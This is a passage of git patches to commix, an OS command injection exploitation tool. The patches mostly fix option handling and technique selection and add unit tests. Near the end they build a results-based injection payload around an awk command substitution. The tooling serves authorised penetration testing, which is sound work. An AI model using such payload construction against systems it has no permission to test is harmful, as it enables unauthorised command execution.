switch and what runs it cannot drift apart. + """ + def setUp(self): + self._state = (menu.options.oob, menu.options.tech) + + def tearDown(self): + (menu.options.oob, menu.options.tech) = self._state + + def test_the_letter_is_not_one_the_user_can_name(self): + self.assertNotIn(settings.OOB_TECHNIQUE_LETTER, settings.AVAILABLE_TECHNIQUES) + + def test_the_letter_is_written_down_in_one_place_only(self): + # Spelled again at either end, the switch and the technique it reaches are free to drift apart + # without anything failing, so both read it from the constant. + import inspect + from src.core import main + from src.core.controller import controller + self.assertIn("settings.OOB_TECHNIQUE_LETTER", + inspect.getsource(controller.oob_command_injection_technique)) + self.assertIn("menu.options.tech = settings.OOB_TECHNIQUE_LETTER", + io.open(inspect.getsourcefile(main), encoding="utf-8").read()) + + def test_the_switch_alone_says_whether_it_runs(self): + menu.options.tech = "" + menu.options.oob = False + self.assertFalse(checks.technique_selected(settings.OOB_TECHNIQUE_LETTER)) + menu.options.oob = True + self.assertTrue(checks.technique_selected(settings.OOB_TECHNIQUE_LETTER)) + + def test_what_the_switch_writes_down_is_read_back_as_the_same_technique(self): + # What '--oob' leaves in the technique list is the letter the run then asks about, and asking + # about any other one is answered no - the switch selects the out-of-band technique on its own. + menu.options.oob = True + menu.options.tech = settings.OOB_TECHNIQUE_LETTER + self.assertTrue(checks.technique_selected(settings.OOB_TECHNIQUE_LETTER)) + for letter in settings.AVAILABLE_TECHNIQUES: + self.assertFalse(checks.technique_selected(letter), letter + " ran alongside out-of-band") + +class TheHeuristicProbeIsSentTheWayTheTestsAre(unittest.TestCase): + """ + The probe decides whether a parameter is worth testing at all under '--smart', so it is carried + the way the requests that follow it are carried - pollution included, since deciding on an + unpolluted answer skips the parameter over the very request '--hpp' was given to replace. + """ + def source(self): + import inspect + from src.core.controller import controller + return inspect.getsource(controller.heuristic_request) + + def test_the_query_and_the_body_both_ask_for_pollution(self): + source = self.source() + self.assertIn("process_injectable_value(encoded_payload, url, pollute=True)", source) + self.assertIn("process_injectable_value(body_payload, menu.options.data, pollute=True)", source) + + def test_the_cookie_is_left_alone(self): + # A cookie separates with ';', so a second '&name=' in one is more of the first cookie's value + # rather than another cookie - and nothing is gained by sending it. + source = self.source() + self.assertIn("process_injectable_value(encoded_payload, menu.options.cookie)", source) From f36166525432ed73062968857847b408f4662f9e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:02:53 +0200 Subject: [PATCH 0989/1023] Fixed several issues regarding values a run was given going unused, affecting the techniques named as untested and `--disable-coloring` in a configuration file --- src/core/controller/checks.py | 5 ++-- src/core/parse/cmdline.py | 5 ++++ src/utils/settings.py | 20 ++++++++++++- tests/test_checks.py | 32 +++++++++++++++++++++ tests/test_settings.py | 53 +++++++++++++++++++++++++++++++++++ 5 files changed, 111 insertions(+), 4 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 0b7e96ecba..67b725b0ac 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -650,8 +650,7 @@ def finish_target(): Technique letters written out. Used to name what a run did not look at. """ def technique_names(letters): - plain = {"r": "results-based", "t": "time-based", "f": "file-based"} - chosen = [plain[_] for _ in ("r", "t", "f") if _ in letters] + chosen = [settings.TECHNIQUE_LETTER_NAMES[_] for _ in settings.AVAILABLE_TECHNIQUES if _ in letters] if not chosen: return "" name = chosen[0] if len(chosen) == 1 else ", ".join(chosen[:-1]) + " and " + chosen[-1] @@ -659,7 +658,7 @@ def technique_names(letters): # The techniques this run was told to leave out, named for the message that says so. def untested_techniques(): - return technique_names([_ for _ in ("r", "t", "f") if _ not in menu.options.tech]) + return technique_names([_ for _ in settings.AVAILABLE_TECHNIQUES if _ not in menu.options.tech]) """ The payload builder the time-based technique uses: the same technique reaches either sink, and what diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 467c3244bb..5b891de4dc 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1386,6 +1386,11 @@ def expand_mnemonics(mnemonics, parser, options): from src.core.parse import configfile _from_config = configfile.load(parser, options, options.config_file) +# Read again here because a profile carries it too, and a value the file named is known only once it +# has been loaded - still ahead of the banner below, so it covers every line the run writes. +if options.disable_coloring: + settings.drop_coloring() + # Remember whether '--web-root' was explicitly supplied on the CLI settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) diff --git a/src/utils/settings.py b/src/utils/settings.py index 60a64f044d..57b465049e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -63,6 +63,20 @@ def sys_argv_checks(): # build them in, regardless of this flag. init(strip=True, convert=False) +""" +Turn coloring off once the command line has been read. + +The switch is answered from sys.argv above, before anything is parsed, so that the first message is +already written the way it was asked for. A profile names it too, and that value is known only once +the file has been read - late, but still before the banner, so it is honoured there rather than +parsed and dropped. +""" +def drop_coloring(): + if not colors.ENABLE_COLORING: + return + colors.ENABLE_COLORING = False + init(strip=True, convert=False) + class HTTPMETHOD(object): GET = "GET" POST = "POST" @@ -486,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "315" +REVISION = "316" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1305,6 +1319,10 @@ def resolve_language(name): # Available injection techniques. Out-of-band is not one of them - it is the '--oob' switch, so that # it can serve the modules too, which never go through '--technique'. AVAILABLE_TECHNIQUES = ['r','b','t','f'] +# What each one is called where a message names it. Keyed by the letters of the list above and read +# through that list, so a technique cannot be added there and left out of what a run says it did +# not test - which is how the boolean-based one came to be missing from that sentence. +TECHNIQUE_LETTER_NAMES = {'r': "results-based", 'b': "boolean-based", 't': "time-based", 'f': "file-based"} # The letter that used to name the evaluation sink before '--eval' did, the technique that reaches # that sink today, and the one whose technique carries whichever sink it is given. EVAL_TECHNIQUE_LETTER = 'e' diff --git a/tests/test_checks.py b/tests/test_checks.py index 1ade3cdc4d..81b9dbc379 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -956,3 +956,35 @@ def test_the_cookie_is_left_alone(self): # rather than another cookie - and nothing is gained by sending it. source = self.source() self.assertIn("process_injectable_value(encoded_payload, menu.options.cookie)", source) + +class EveryTechniqueLeftOutIsNamed(unittest.TestCase): + """ + What a run says it did not test is read from the one list of techniques, so a letter cannot be + selectable with '--technique' and missing from the sentence that offers to test it. + """ + def setUp(self): + self._tech = menu.options.tech + + def tearDown(self): + menu.options.tech = self._tech + + def untested(self, tech): + menu.options.tech = tech + return checks.untested_techniques() + + def test_every_selectable_letter_has_a_name(self): + for letter in settings.AVAILABLE_TECHNIQUES: + self.assertIn(letter, settings.TECHNIQUE_LETTER_NAMES, letter + " has no name to be said by") + + def test_the_one_technique_left_out_is_the_one_named(self): + # Everything but boolean-based: the sentence read empty here, so a run was told to drop + # '--technique' without being told what dropping it would add. + self.assertEqual("boolean-based technique", self.untested("rtf")) + self.assertEqual("file-based technique", self.untested("rbt")) + + def test_the_three_left_out_are_all_named(self): + self.assertEqual("boolean-based, time-based and file-based techniques", self.untested("r")) + self.assertEqual("results-based, time-based and file-based techniques", self.untested("b")) + + def test_a_run_that_leaves_nothing_out_says_nothing(self): + self.assertEqual("", self.untested("".join(settings.AVAILABLE_TECHNIQUES))) diff --git a/tests/test_settings.py b/tests/test_settings.py index 8ab1f68903..fd4b82b41c 100644 --- a/tests/test_settings.py +++ b/tests/test_settings.py @@ -13,7 +13,11 @@ For more see the file 'readme/COPYING' for copying permission. """ +import os import re +import subprocess +import sys +import tempfile import unittest from tests._testutils import tamper_modules @@ -187,3 +191,52 @@ def test_an_answer_given_for_one_target_is_not_asked_again_for_the_next(self): if __name__ == "__main__": unittest.main() + +class ColoringIsDroppedHoweverTheSwitchArrives(unittest.TestCase): + """ + The switch is answered from the command line before anything is parsed, so that the first message + is already written the way it was asked for - and a profile naming it is answered once the file + has been read, rather than parsed and dropped. + """ + PROBE = ("import sys, os\n" + "sys.path.insert(0, sys.argv[2])\n" + "sys.argv = ['commix.py', '-c', sys.argv[1], '--batch']\n" + "from src.core.parse import cmdline\n" + "from src.utils import colors\n" + "print('CARRIED', cmdline.options.disable_coloring, colors.ENABLE_COLORING)\n") + + def setUp(self): + from src.utils import colors + self.colors = colors + self._enabled = colors.ENABLE_COLORING + + def tearDown(self): + self.colors.ENABLE_COLORING = self._enabled + + def test_dropping_it_holds_and_asks_nothing_of_a_second_call(self): + self.colors.ENABLE_COLORING = True + settings.drop_coloring() + self.assertFalse(self.colors.ENABLE_COLORING) + settings.drop_coloring() + self.assertFalse(self.colors.ENABLE_COLORING) + + def test_a_profile_naming_it_turns_coloring_off(self): + # Parsed into the option and never read, the value reached the run as an answer it did not act + # on: the switch worked written out on the command line and did nothing from a file. + directory = tempfile.mkdtemp() + try: + profile = os.path.join(directory, "profile.ini") + with open(profile, "w") as handle: + handle.write("[Target]\nurl = http://127.0.0.1/?x=1\n\n[Miscellaneous]\ndisable_coloring = True\n") + probe = os.path.join(directory, "probe.py") + with open(probe, "w") as handle: + handle.write(self.PROBE) + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + said = subprocess.check_output([sys.executable, "-I", probe, profile, root], + stderr=subprocess.STDOUT).decode("utf-8", "replace") + carried = [_ for _ in said.splitlines() if _.startswith("CARRIED")] + self.assertEqual(["CARRIED True False"], carried, said) + finally: + for name in os.listdir(directory): + os.unlink(os.path.join(directory, name)) + os.rmdir(directory) From d5e749e937d18cad78ffcea1f4c7c38273662c24 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:03:41 +0200 Subject: [PATCH 0990/1023] Fixed several issues regarding techniques reaching either sink not following the one being tested, affecting `--eval` together with `--oob` and the boolean-based technique --- src/core/controller/controller.py | 31 +++++--- src/utils/settings.py | 3 +- tests/test_controller.py | 120 ++++++++++++++++++++++++++++++ 3 files changed, 142 insertions(+), 12 deletions(-) create mode 100644 tests/test_controller.py diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 324f15417c..569106d214 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -440,7 +440,12 @@ def _http_first(): already_identified = settings.IDENTIFIED_COMMAND_INJECTION settings.IDENTIFIED_COMMAND_INJECTION = True settings.OOB_HEURISTIC_TRANSPORT = transport - settings.SKIP_CODE_INJECTIONS = True + # A shell reaching out says nothing about whether a string is also evaluated as code, so it + # settles the question only where the code injection sink was not asked for by name - the + # technique carrying that sink reads this flag, and would otherwise skip itself over an answer + # given in the shell's own language, the way the results-based heuristic above already guards. + if not menu.options.eval_sink: + settings.SKIP_CODE_INJECTIONS = True if already_identified: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target answered out-of-band over '" + transport + "'." @@ -651,17 +656,17 @@ def exploit(): Check if it's exploitable via boolean-based blind command injection technique. """ def boolean_based_technique(url, timesec, filename, http_request_method): - injection_type = settings.INJECTION_TYPE.BLIND + # The branch proves execution either way - what the sink changes is only whether the command the + # target branches on is written in the shell's language or in the one it evaluates. + eval_sink = bool(menu.options.eval_sink) + injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.BOOLEAN_BASED # Prove the injection by what the page says, where the target branches on the command it ran. def exploit(): result = bb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - if result is not False: + if result is not False and not eval_sink: settings.IDENTIFIED_COMMAND_INJECTION = True return result - eval_sink = bool(menu.options.eval_sink) - if eval_sink: - injection_type = settings.INJECTION_TYPE.BLIND_CE run_technique(injection_type, technique, "BOOLEAN_BASED_STATE", "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS", "b", exploit, eval_sink=eval_sink) @@ -714,16 +719,22 @@ def exploit(): Check if it's exploitable via out-of-band technique. """ def oob_command_injection_technique(url, timesec, filename, http_request_method): - injection_type = settings.INJECTION_TYPE.BLIND + # The interaction proves execution either way - what the sink changes is only whether the command + # that reaches out is written in the shell's language or in the one the target evaluates. + eval_sink = bool(menu.options.eval_sink) + injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.OOB # Prove the injection by the target reaching out to somewhere else. def exploit(): result = oob_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - if result is not False: + if result is not False and not eval_sink: settings.IDENTIFIED_COMMAND_INJECTION = True return result - run_technique(injection_type, technique, "OOB_STATE", "SKIP_OOB_INJECTIONS", - settings.OOB_TECHNIQUE_LETTER, exploit) + # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not + # by the flag that skips command injection, which the code injection heuristic sets on its way past. + skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS" + run_technique(injection_type, technique, "OOB_STATE", skip_flag, + settings.OOB_TECHNIQUE_LETTER, exploit, eval_sink=eval_sink) """ Check parameter in HTTP header. diff --git a/src/utils/settings.py b/src/utils/settings.py index 57b465049e..d3f832382a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "316" +REVISION = "317" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1511,7 +1511,6 @@ def verified_context(): if os.path.exists(bundle): return ssl.create_default_context(cafile=bundle) return context -SKIP_OOB_INJECTIONS = False # Raised by checks.handle_detection_interrupt() to unwind to the right point # in the detection loop. diff --git a/tests/test_controller.py b/tests/test_controller.py new file mode 100644 index 0000000000..a6cb682215 --- /dev/null +++ b/tests/test_controller.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.controller import controller +from src.core.parse import cmdline as menu + +class TechniquesCarryingEitherSink(unittest.TestCase): + """ + A technique that reaches both sinks is run against whichever one this run is testing: it is left + out by the flag that skips that sink, it reports the sink it actually proved, and it names the + injection for what it was rather than for the one the other sink would have been. + """ + ARGS = ("http://t/a.php?x=1", 5, "f", "GET") + + def setUp(self): + self._state = (settings.IDENTIFIED_COMMAND_INJECTION, settings.SKIP_CODE_INJECTIONS, + settings.SKIP_COMMAND_INJECTIONS, settings.OOB_STATE, + settings.BOOLEAN_BASED_STATE, settings.VERBOSITY_LEVEL, + menu.options.eval_sink, menu.options.oob, menu.options.tech) + self._handlers = (controller.oob_handler.exploitation, controller.bb_handler.exploitation) + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False + settings.VERBOSITY_LEVEL = 0 + menu.options.oob = True + menu.options.tech = "" + # Named rather than left standing for all of them, so the per-language sweep answers at once. + menu.options.eval_sink = None + self.sent = [] + def answered(url, timesec, filename, http_request_method, injection_type, technique, *rest): + self.sent.append((technique, injection_type)) + return "proved" + controller.oob_handler.exploitation = answered + controller.bb_handler.exploitation = answered + + def tearDown(self): + (settings.IDENTIFIED_COMMAND_INJECTION, settings.SKIP_CODE_INJECTIONS, + settings.SKIP_COMMAND_INJECTIONS, settings.OOB_STATE, + settings.BOOLEAN_BASED_STATE, settings.VERBOSITY_LEVEL, + menu.options.eval_sink, menu.options.oob, menu.options.tech) = self._state + (controller.oob_handler.exploitation, controller.bb_handler.exploitation) = self._handlers + + def run_oob(self): + controller.oob_command_injection_technique(*self.ARGS) + + def run_boolean(self): + controller.boolean_based_technique(*self.ARGS) + + def test_the_out_of_band_technique_is_left_out_with_the_sink_it_carries(self): + # It had a skip flag of its own that nothing ever wrote, so no sink being settled could leave + # it out and it was the one technique that ran whatever had already been established. + settings.SKIP_COMMAND_INJECTIONS = True + self.run_oob() + self.assertEqual([], self.sent) + + def test_a_settled_command_sink_does_not_leave_out_the_code_injection_pass(self): + menu.options.eval_sink = "php" + settings.SKIP_COMMAND_INJECTIONS = True + self.run_oob() + self.assertEqual(1, len(self.sent)) + + def test_a_settled_code_sink_leaves_out_the_code_injection_pass(self): + menu.options.eval_sink = "php" + settings.SKIP_CODE_INJECTIONS = True + self.run_oob() + self.assertEqual([], self.sent) + + def test_what_the_out_of_band_technique_proved_is_the_sink_it_was_run_against(self): + menu.options.eval_sink = "php" + self.run_oob() + self.assertEqual([(settings.INJECTION_TECHNIQUE.OOB, settings.INJECTION_TYPE.BLIND_CE)], self.sent) + self.assertTrue(settings.OOB_STATE) + + def test_a_code_injection_finding_is_not_recorded_as_a_command_one(self): + # The flag is what makes the run say a command shell answered as well, which casts doubt on a + # code injection finding - so a technique that only ever proved the code sink leaves it alone. + menu.options.eval_sink = "php" + for run in (self.run_oob, self.run_boolean): + settings.IDENTIFIED_COMMAND_INJECTION = False + run() + self.assertFalse(settings.IDENTIFIED_COMMAND_INJECTION, run.__name__ + " claimed command injection") + + def test_a_command_injection_finding_still_is(self): + for run in (self.run_oob, self.run_boolean): + settings.IDENTIFIED_COMMAND_INJECTION = False + run() + self.assertTrue(settings.IDENTIFIED_COMMAND_INJECTION, run.__name__ + " proved nothing") + + def test_the_flag_nothing_ever_wrote_is_gone(self): + self.assertFalse(hasattr(settings, "SKIP_OOB_INJECTIONS")) + + def test_a_shell_answering_does_not_settle_a_sink_that_was_asked_for_by_name(self): + """ + Pinned on the source, since reaching the conclusion itself takes a live channel and a target + that answers on it. Both heuristics set the flag the code injection techniques read, so a shell + answering either of them would otherwise leave every one of them skipping itself. + """ + import inspect + for heuristic in (controller.oob_heuristic_basic, controller.command_injection_heuristic_basic): + source = inspect.getsource(heuristic) + self.assertIn("if not menu.options.eval_sink:", source, + heuristic.__name__ + " settles the sink whatever was asked for") + +if __name__ == "__main__": + unittest.main() From d838577198576c210da0a5b8b91abb77a8b20a9c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:04:28 +0200 Subject: [PATCH 0991/1023] Fixed several issues regarding a heuristic deciding against what the run was told, affecting `--module` on a target whose path it did not recognise --- src/core/controller/checks.py | 9 +++++++- src/core/controller/handler.py | 6 ------ src/core/main.py | 2 -- src/core/requests/requests.py | 1 - src/utils/settings.py | 11 +++------- tests/test_checks.py | 39 ++++++++++++++++++++++++++++++++++ tests/test_settings.py | 9 ++++++++ 7 files changed, 59 insertions(+), 18 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 67b725b0ac..9721dfa90c 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2378,6 +2378,11 @@ def ps_check_failed(): Perform basic heuristic checks for CGI scripts potentially vulnerable to Shellshock. """ def check_CGI_scripts(url): + # Named by the user, the module is on already and this is not here to take it back: the list read + # below is what commix knows of, not what the target serves, so a path missing from it is no + # reason to drop what '--module' asked for. + if "shellshock" in settings.USER_APPLIED_MODULE: + return if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking the target URL for known CGI scripts." @@ -2830,7 +2835,9 @@ def validate_modules(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) setattr(menu.options, module, True) - settings.USER_APPLIED_MODULE = menu.options.module + # Kept as the names themselves rather than as what was typed, so whatever asks later whether a + # module was named does not parse the option a second time. + settings.USER_APPLIED_MODULE = tuple(provided_modules) return provided_modules """ diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index c94a56efd5..0f519b934d 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -1135,8 +1135,6 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim checks.check_for_stored_tamper(payload) # Trust the stored session outright. - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec possibly_vulnerable = True resumed = True except TypeError: @@ -1180,8 +1178,6 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim # carry forward either - left the way a resumed finding leaves them. cmd = shell = output = "" exec_time = original_exec_time = timesec - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec oracle_confirmed = possibly_vulnerable = True # Closes the "Continuing with..." spinner the same way a delay-based confirmation # closes its own - nothing here was timed, but the line it left open still needs it. @@ -1295,8 +1291,6 @@ def _control_answers_on_time(): # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec if false_positive_warning: time.sleep(timesec) randv1 = random.randrange(0, 4) diff --git a/src/core/main.py b/src/core/main.py index 818605ab04..bb2c2ee2eb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -324,12 +324,10 @@ def url_response(url, http_request_method): if do_waf: settings.COOKIE_INJECTION = None conn_request, conn_url = checks.check_waf(url, http_request_method) - settings.WAF_DETECTION_PHASE = True _conn_start = time.time() response = examine_request(conn_request, conn_url) if do_waf: - settings.WAF_DETECTION_PHASE = False # The probe being blocked is the detection doing its job, not the target being unreachable: # answer the protection and reconnect with the request that was asked for. if response is False and settings.WAF_ENABLED: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 6605ca373c..603c08b6f5 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1138,7 +1138,6 @@ def check_os(server_header): if match: # What the banner spells out, rather than the family it puts the target in. named = match.group(0) - settings.IDENTIFIED_SERVER_OS = named checks.set_target_os(named) if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.shellshock: diff --git a/src/utils/settings.py b/src/utils/settings.py index d3f832382a..2b86fdc38c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "317" +REVISION = "318" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -725,7 +725,6 @@ class OS(object): VERBOSITY_LEVEL = 0 # Detection / Exploitation phase(s) -WAF_DETECTION_PHASE = False DETECTION_PHASE = False EXPLOITATION_PHASE = False @@ -1840,8 +1839,6 @@ def ascii_transparent_encoding(name): DEL = "rm " # Time-based Variables -FOUND_EXEC_TIME = "" -FOUND_DIFF = "" # Check for PowerShell PS_ENABLED = None @@ -1997,7 +1994,8 @@ class AUTH_TYPE(object): SKIPPED_OUT_OF_SCOPE = set() USER_APPLIED_TAMPER = "" -USER_APPLIED_MODULE = "" +# The modules named with "--module", by name, so a heuristic does not drop one that was asked for. +USER_APPLIED_MODULE = () """ Tamper scripts this run reached for on its own, kept apart from the ones '--tamper' named. @@ -2936,9 +2934,6 @@ class END_LINE: PKI_FAILURE_SAID = False # The version that server named for itself, where it named one. SERVER_VERSION = "" -# The distribution a banner spelled out, kept as the banner wrote it rather than as the family it -# puts the target in - "Ubuntu" is a name for a banner, "Unix-like" is what it makes of the target. -IDENTIFIED_SERVER_OS = "" SERVER_BANNERS = [ "Microsoft-IIS", # Ahead of the bare "Apache" below: Tomcat names itself with it, and keeps its own document root. diff --git a/tests/test_checks.py b/tests/test_checks.py index 81b9dbc379..55d6b389c3 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -988,3 +988,42 @@ def test_the_three_left_out_are_all_named(self): def test_a_run_that_leaves_nothing_out_says_nothing(self): self.assertEqual("", self.untested("".join(settings.AVAILABLE_TECHNIQUES))) + +class ANamedModuleIsNotDroppedByAHeuristic(unittest.TestCase): + """ + The CGI heuristic is there to offer the module where the path looks like it calls for it, not to + take back one the user named: the list it reads is what commix knows of, not what the target + serves, so a path missing from it says nothing about whether the module is worth running. + """ + URL = "http://t/index.php?x=1" + + def setUp(self): + self._state = (settings.USER_APPLIED_MODULE, settings.VERBOSITY_LEVEL, + menu.options.module, menu.options.shellshock) + self._out = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda *_: None + settings.VERBOSITY_LEVEL = 0 + + def tearDown(self): + (settings.USER_APPLIED_MODULE, settings.VERBOSITY_LEVEL, + menu.options.module, menu.options.shellshock) = self._state + settings.print_data_to_stdout = self._out + + def test_a_path_with_no_known_cgi_script_still_turns_it_off(self): + settings.USER_APPLIED_MODULE = () + menu.options.shellshock = True + checks.check_CGI_scripts(self.URL) + self.assertFalse(menu.options.shellshock) + + def test_the_module_the_user_named_is_left_alone(self): + # Turned off here, the module the run was started for was never loaded, and the only word about + # it was a debug line about a list the target had nothing to do with. + settings.USER_APPLIED_MODULE = ("shellshock",) + menu.options.shellshock = True + checks.check_CGI_scripts(self.URL) + self.assertTrue(menu.options.shellshock) + + def test_what_was_named_is_recorded_by_name(self): + menu.options.module = "Shellshock" + checks.validate_modules() + self.assertEqual(("shellshock",), settings.USER_APPLIED_MODULE) diff --git a/tests/test_settings.py b/tests/test_settings.py index fd4b82b41c..c675444b98 100644 --- a/tests/test_settings.py +++ b/tests/test_settings.py @@ -240,3 +240,12 @@ def test_a_profile_naming_it_turns_coloring_off(self): for name in os.listdir(directory): os.unlink(os.path.join(directory, name)) os.rmdir(directory) + +class NothingIsKeptThatNothingReads(unittest.TestCase): + """ + A value written on every finding and never read once is weight the next reader has to account + for, and reads as state something depends on. + """ + def test_the_write_only_names_are_gone(self): + for name in ("FOUND_EXEC_TIME", "FOUND_DIFF", "IDENTIFIED_SERVER_OS", "WAF_DETECTION_PHASE"): + self.assertFalse(hasattr(settings, name), name + " is written and never read") From a68a9a97aca3cceb0f0a4279fa2c6f8443915b51 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:05:53 +0200 Subject: [PATCH 0992/1023] =?UTF-8?q?Fixed=20several=20issues=20regarding?= =?UTF-8?q?=20a=20command=E2=80=99s=20output=20being=20rewritten=20on=20it?= =?UTF-8?q?s=20way=20back,=20affecting=20the=20whitespace,=20backslashes?= =?UTF-8?q?=20and=20leading=20dashes=20of=20what=20the=20results-based=20t?= =?UTF-8?q?echnique=20reports?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/core/controller/execution.py | 27 +++++-- .../techniques/results_based/rb_payloads.py | 58 ++++++++++++-- src/utils/settings.py | 7 +- tests/test_controller.py | 55 +++++++++++++ tests/test_payloads.py | 77 +++++++++++++++++++ 5 files changed, 208 insertions(+), 16 deletions(-) diff --git a/src/core/controller/execution.py b/src/core/controller/execution.py index 7fcabb950e..b00e241b04 100644 --- a/src/core/controller/execution.py +++ b/src/core/controller/execution.py @@ -101,14 +101,25 @@ def execute_cmd(cmd): shell = "" return postprocess_time(shell) else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and not results_based_injector: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - return "".join(str(p) for p in shell) + def send(): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and not results_based_injector: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + return "".join(str(p) for p in shell) + shell = send() + # The reading that hands the output back whole asks a tool of the target, and a target + # without it answers nothing where the plainer reading would have answered something. Asked + # again the once, with the rest of this target kept to the plainer form; an output that is + # genuinely empty pays that one request to establish that it is. + if not shell and settings.RESULTS_BASED_EXACT_OUTPUT \ + and technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: + settings.RESULTS_BASED_EXACT_OUTPUT = False + shell = send() + return shell return execute_cmd """ diff --git a/src/core/techniques/results_based/rb_payloads.py b/src/core/techniques/results_based/rb_payloads.py index 5b36460889..1f941a7400 100755 --- a/src/core/techniques/results_based/rb_payloads.py +++ b/src/core/techniques/results_based/rb_payloads.py @@ -99,6 +99,26 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): return payload +""" +A command's output as a single line, with every byte it printed still in it. + +'echo' is handed the output through a substitution, and an unquoted one is split into words and +rejoined with one space each - so runs of whitespace inside the output collapse and its ends are +dropped. Quoted instead, that whitespace survives but so do the newlines, and a sink handing back +only the last line of what it ran then answers with nothing at all. Both are avoided by asking +'awk' for the output with its newlines replaced, the way the file-based technique asks 'tr' for it: +the value goes in as an argument rather than through a pipe, so nothing is introduced that the +payload is not proving, and the program is a single statement, so it needs no separator of its own +either - 'gsub' is read for the condition of a choice whose answers are the same, since it hands +back a count rather than the string it rewrote. Replaced with 'OFS', a literal space being the +whitespace substitution's to take even inside awk's own quotes. +""" +def single_line_output(cmd): + return (settings.CMD_SUB_PREFIX + "LC_ALL=C awk 'BEGIN{print(gsub(/" + + settings.END_LINE.ESCAPED_LF + "/,OFS,ARGV[1])?ARGV[1]:ARGV[1])}' \"" + + settings.CMD_SUB_PREFIX + cmd + 